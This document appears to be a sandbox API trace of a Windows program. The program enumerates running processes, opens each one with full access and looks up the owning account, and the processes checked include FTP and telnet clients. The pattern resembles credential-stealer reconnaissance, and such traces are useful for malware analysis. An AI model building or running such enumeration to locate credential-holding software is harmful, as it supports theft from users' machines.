	[0100.483] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x190) returned 1
	[0100.483] GetTokenInformation (in: TokenHandle=0x190, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.483] GetProcessHeap () returned 0x240000
	[0100.483] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.483] GetTokenInformation (in: TokenHandle=0x190, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.483] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.485] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d010, cchName=0x114518, ReferencedDomainName=0x2c93f0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.487] GetProcessHeap () returned 0x240000
	[0100.487] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.487] CloseHandle (hObject=0x160) returned 1
	[0100.487] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0100.489] SetLastError (dwErrCode=0x0) 
	[0100.489] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x81c) returned 0x160
	[0100.489] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x188) returned 1
	[0100.489] GetTokenInformation (in: TokenHandle=0x188, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.489] GetProcessHeap () returned 0x240000
	[0100.489] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.489] GetTokenInformation (in: TokenHandle=0x188, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.489] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.491] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.493] GetProcessHeap () returned 0x240000
	[0100.493] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.493] CloseHandle (hObject=0x160) returned 1
	[0100.493] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0100.495] SetLastError (dwErrCode=0x0) 
	[0100.495] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x82c) returned 0x160
	[0100.495] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x210) returned 1
	[0100.495] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.496] GetProcessHeap () returned 0x240000
	[0100.496] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.496] GetTokenInformation (in: TokenHandle=0x210, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.496] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.497] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d010, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.499] GetProcessHeap () returned 0x240000
	[0100.499] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.499] CloseHandle (hObject=0x160) returned 1
	[0100.499] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0100.501] SetLastError (dwErrCode=0x0) 
	[0100.501] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x83c) returned 0x160
	[0100.501] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x180) returned 1
	[0100.501] GetTokenInformation (in: TokenHandle=0x180, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.502] GetProcessHeap () returned 0x240000
	[0100.502] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.502] GetTokenInformation (in: TokenHandle=0x180, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.502] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.503] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c93f0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.505] GetProcessHeap () returned 0x240000
	[0100.505] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.505] CloseHandle (hObject=0x160) returned 1
	[0100.505] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0100.507] SetLastError (dwErrCode=0x0) 
	[0100.507] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x84c) returned 0x160
	[0100.507] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x1a4) returned 1
	[0100.507] GetTokenInformation (in: TokenHandle=0x1a4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.507] GetProcessHeap () returned 0x240000
	[0100.508] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.508] GetTokenInformation (in: TokenHandle=0x1a4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.508] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.654] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.655] GetProcessHeap () returned 0x240000
	[0100.655] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.655] CloseHandle (hObject=0x160) returned 1
	[0100.656] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0100.657] SetLastError (dwErrCode=0x0) 
	[0100.657] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x85c) returned 0x160
	[0100.657] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x1b4) returned 1
	[0100.657] GetTokenInformation (in: TokenHandle=0x1b4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.658] GetProcessHeap () returned 0x240000
	[0100.658] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.658] GetTokenInformation (in: TokenHandle=0x1b4, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.658] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.659] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d190, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.661] GetProcessHeap () returned 0x240000
	[0100.661] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.661] CloseHandle (hObject=0x160) returned 1
	[0100.661] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0100.663] SetLastError (dwErrCode=0x0) 
	[0100.663] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x86c) returned 0x160
	[0100.663] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x1ac) returned 1
	[0100.663] GetTokenInformation (in: TokenHandle=0x1ac, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.663] GetProcessHeap () returned 0x240000
	[0100.663] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.663] GetTokenInformation (in: TokenHandle=0x1ac, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.664] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.665] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c93f0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.667] GetProcessHeap () returned 0x240000
	[0100.667] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.667] CloseHandle (hObject=0x160) returned 1
	[0100.667] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0100.669] SetLastError (dwErrCode=0x0) 
	[0100.669] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x87c) returned 0x160
	[0100.669] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x1a8) returned 1
	[0100.670] GetTokenInformation (in: TokenHandle=0x1a8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.670] GetProcessHeap () returned 0x240000
	[0100.670] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.670] GetTokenInformation (in: TokenHandle=0x1a8, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.670] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.672] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d190, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.673] GetProcessHeap () returned 0x240000
	[0100.673] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.674] CloseHandle (hObject=0x160) returned 1
	[0100.674] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0100.675] SetLastError (dwErrCode=0x0) 
	[0100.675] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x88c) returned 0x160
	[0100.676] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x1e0) returned 1
	[0100.676] GetTokenInformation (in: TokenHandle=0x1e0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.676] GetProcessHeap () returned 0x240000
	[0100.676] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.676] GetTokenInformation (in: TokenHandle=0x1e0, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.676] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.678] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.679] GetProcessHeap () returned 0x240000
	[0100.679] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.679] CloseHandle (hObject=0x160) returned 1
	[0100.679] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0100.681] SetLastError (dwErrCode=0x0) 
	[0100.681] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x89c) returned 0x160
	[0100.681] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x124) returned 1
	[0100.681] GetTokenInformation (in: TokenHandle=0x124, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.681] GetProcessHeap () returned 0x240000
	[0100.681] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.682] GetTokenInformation (in: TokenHandle=0x124, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.682] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.683] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d190, cchName=0x114518, ReferencedDomainName=0x2c93f0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.685] GetProcessHeap () returned 0x240000
	[0100.685] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.685] CloseHandle (hObject=0x160) returned 1
	[0100.685] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0100.686] SetLastError (dwErrCode=0x0) 
	[0100.686] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8ac) returned 0x160
	[0100.686] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x11c) returned 1
	[0100.687] GetTokenInformation (in: TokenHandle=0x11c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.687] GetProcessHeap () returned 0x240000
	[0100.687] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.687] GetTokenInformation (in: TokenHandle=0x11c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.687] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.688] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.690] GetProcessHeap () returned 0x240000
	[0100.690] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.690] CloseHandle (hObject=0x160) returned 1
